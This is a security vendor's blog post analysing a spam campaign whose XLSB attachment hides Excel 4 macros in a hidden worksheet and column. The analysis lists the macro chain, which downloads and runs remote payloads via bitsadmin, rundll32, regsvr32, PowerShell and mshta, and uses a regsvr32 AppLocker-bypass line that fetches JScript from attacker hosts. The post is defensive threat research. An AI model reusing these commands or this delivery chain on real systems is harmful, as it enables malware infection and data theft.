Connect with our team of offensive security, AI security and pen testing experts at Black Hat Europe 2023. Learn More

Connect with our team of offensive security, AI security and pen testing experts at Black Hat Europe 2023. Learn More

Services
Capture
Managed Detection & Response

Eradicate cyberthreats with world-class intel and expertise

twi-cloud-lock-color-svg
Managed Security Services

Expand your team’s capabilities and strengthen your security posture

twi-briefcase-color-svg
Consulting & Professional Services

Tap into our global team of tenured cybersecurity specialists

twi-dashboard-color-svg
Penetration Testing

Subscription- or project-based testing, delivered by global experts

twi-database-color-svg
Database Security

Get ahead of database risk, protect data and exceed compliance requirements

twi-email-color-svg
Email Security & Management

Catch email threats others miss with layered security & maximum control

twi-managed-portal-color
Co-Managed SOC (SIEM)

Eliminate alert fatigue, focus your SecOps team, stop threats fast, and reduce cyber risk

Solutions
BY TOPIC
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
The Trustwave Approach
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Platform
SpiderLabs Fusion Center
Security Operations Centers
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

Monster Lurking in Hidden Excel Worksheet

A recent blog by Didier Steven’s showed how malicious Excel 4 macros can be stored in OOXML (Office Open XML) .xlsm – a macro specific file format. We found this very interesting because even though Microsoft long ago replaced Excel 4 macros with VBA (Visual Basic Application), Excel 4 macros still work and are still supported in the newer Excel 2017 XML format.

Not long after that blog was published, while scrounging around our spam honeypots we spotted this “TurboTax Case” spam campaign with a .XLSB attachment.

 

Figure1a
Figure 1. Spam Sample

 

Figure2
Figure 2. XLSB File Icon

 

XLSB is similar to XLSM format where they are both stored in a ZIP container, however, the information in an XLSB file is stored as binary as opposed to the typical XML format.

 

Figure3
Figure 3. XLSB File Header

 

Figure4
Figure 4. Inside the ZIP container we can find the malicious BIFF Object in binary format

 

Extracting and viewing the BIFF object file sheet1.bin in a hex viewer, reveals a bunch of interesting shell commands. We’ll look at this further, but note that at this stage this object is a hidden worksheet.

 

Figure5
Figure 5. Hex view of sheet1.bin

 

So, we dug in and investigated this XLSB file, but instead of using tools like oledump.py, we used the Excel application itself to analyze these macros.

Opening the malicious excel sheet, a security warning is presented to the unsuspecting end-user, and then a plain text lure instructing the user to enable the macro, this a very common social engineering tactic. The user must enable macros via the Options button as below.

 

Figure6
Figure 6. Security Warning

 

At this stage, we need to unhide some stuff. Unhiding the worksheet can be done by right-clicking on “Sheet1” tab then clicking the “Unhide…” on the context menu:

 

Figure7
Figure 7. Unhiding the hidden sheet

 

Now that the Macro sheet has been unhidden, we are now able to see the Named reference to Auto_Open. However, it seems like it resides in a hidden column – Column A.

 

Figure8
Figure 8. Hidden macro sheet

 

We can unhide Column A by doing the following: On Home tab, then in the Cells group, click Format, then click “Hide & Unhide” then “Unhide Columns

 

Figure9
Figure 9. Unhiding the hidden column

 

Then tadaa! Now it reveals the hidden column “A” with all this suspicious EXEC formulas to run external commands

 

Figure10
Figure 10. Revealing the malicious EXEC formulas

 

How do these commands get executed? The macro event Auto_Open is referred to the cell “=Macro1$A$1” which contains the formula  “=EXEC("cmd.exe /c cd c:\&&mkdir Intel")”

 

Figure11
Figure 11. Auto_open refers to cell A1 

 

All of the above formulas in column “A” are then executed in order until  HALT() is encountered.

In summary, the macros execution flow is as follow:

  1. Create a directory at c:\Intel
  2. Create a bitsadmin transfer job called “myjob” to download a file from https://kilolo.site/admin.bat and save it to c:\intel\admin.bat
  3. Create a bitsadmin transfer job called “myjob” to download a file from https://kilolo.site/mer.bin and save it to c:\intel\mer.bin
  4. Create a bitsadmin transfer job called “myjob” to download a file from https://kilolo.site/mer.dll and save it to c:\intel\mer.dll
  5. Rename mer.bin to mer.exe
  6. Copy mer.dll to mery.dll
  7. Execute:
    1. rundll32.exe mer.dll, Run https://38.132.124.172:443/
    2. regsvr32 /s mery.dll, Run https://38.132.124.172:443/
  8. Execute a powershell command from:
    1. http://kilolo.site/raw.txt
    2. https://kilolo.site/raw.txt
  9. Execute mshta http://37.72.175.188:80/home
  10. Execute a Jscript from a remote server using AppLocker Bypass technique:
    1. regsvr32 /s /u /n /i:http://37.72.175.188:443/index scrobj

At the time of analysis, The URLs kilolo[.]site and 38[.]132[.]124[.]172:443 are already offline except for hxxp://37[.]72[.]175[.]188:443/index

The last EXEC command is a JScript execution from the remote host at 37.72.175.188. The deobfuscated and beautified code can be found here: https://gist.githubusercontent.com/drole/b66464abca888f5cc77ea4519acd1584/raw/1c07055fbaaa4911b5cdf5d754e034ffd6ac8810/payload.js

 

Figure12
Figure 12. Obfuscated JScript Payload

 

This JScript main function is to gather system information and send back to the command and control server.

To conclude, this very old macro functionality in Excel is still supported and is now being misused by the criminals. It represents yet another way the bad guys are abusing these sorts of document file formats. Keep in mind the malicious code in this example will not execute unless the user enables macros.  

 

IOCs

1e1afc93c8092b2c7e49a6d3a451629f (XLSB)
40a941bc585c6e8f1203a9854faf90ad (Jscript 2nd stage payload)

Latest SpiderLabs Blogs

The 2023 Retail Services Sector Threat Landscape: A Trustwave Threat Intelligence Briefing

The annual holiday shopping season is poised for a surge in spending, a fact well-known to retailers, consumers, and cybercriminals alike. The latter group, however, is poised to exploit any...

Read More

Pwning Electroencephalogram (EEG) Medical Devices by Default

Overall Analysis of Vulnerability Identification – Default Credentials Leading to Remote Code Execution During internal network testing, a document was discovered titled the “XL Security Site...

Read More

Hidden Data Exfiltration Using Time, Literally

I was looking at my watch last week and my attention was moved towards the seconds over at the right of the watch face, incrementing nicely along as you’d expect. Now, I don’t know if I’d just spent...

Read More